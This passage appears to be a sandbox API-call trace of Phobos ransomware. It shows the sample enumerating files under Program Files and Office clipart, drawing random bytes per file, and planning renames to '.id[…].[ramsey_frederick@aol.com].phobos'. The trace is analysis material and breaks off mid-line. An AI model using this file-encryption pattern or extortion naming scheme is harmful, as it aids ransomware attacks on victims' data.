0x20 [0124.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.865] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.866] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=6381) returned 1 [0124.866] CloseHandle (hObject=0x594) returned 1 [0124.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0124.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.866] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.867] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=232) returned 1 [0124.867] CloseHandle (hObject=0x594) returned 1 [0124.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0124.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.867] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.869] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=5115) returned 1 [0124.869] CloseHandle (hObject=0x594) returned 1 [0124.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0124.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.869] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.871] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=233) returned 1 [0124.871] CloseHandle (hObject=0x594) returned 1 [0124.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0124.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.872] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.873] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=1920) returned 1 [0124.873] CloseHandle (hObject=0x594) returned 1 [0124.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0124.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.874] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.877] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=237) returned 1 [0124.877] CloseHandle (hObject=0x594) returned 1 [0124.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0124.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.877] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.878] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=4734) returned 1 [0124.878] CloseHandle (hObject=0x594) returned 1 [0124.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0124.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.878] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.878] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=232) returned 1 [0124.878] CloseHandle (hObject=0x594) returned 1 [0124.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0124.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.879] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.880] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=10569) returned 1 [0124.880] CloseHandle (hObject=0x594) returned 1 [0124.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0124.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.881] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.882] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=230) returned 1 [0124.882] CloseHandle (hObject=0x594) returned 1 [0124.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0124.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.883] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.884] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=7505) returned 1 [0124.884] CloseHandle (hObject=0x594) returned 1 [0124.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0124.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.885] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.886] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2702) returned 1 [0124.886] CloseHandle (hObject=0x594) returned 1 [0124.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0124.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.887] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.914] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=14856) returned 1 [0124.915] CloseHandle (hObject=0x594) returned 1 [0124.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0124.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.915] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0125.140] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.144] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2404) returned 1 [0125.144] CloseHandle (hObject=0x594) returned 1 [0125.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x220 [0125.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0x20 [0125.153] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.159] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=1804) returned 1 [0125.159] CloseHandle (hObject=0x594) returned 1 [0125.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x220 [0125.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.159] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.164] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=1888) returned 1 [0125.164] CloseHandle (hObject=0x594) returned 1 [0125.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x220 [0125.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.164] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.171] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=3796) returned 1 [0125.171] CloseHandle (hObject=0x594) returned 1 [0125.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x220 [0125.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.171] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft 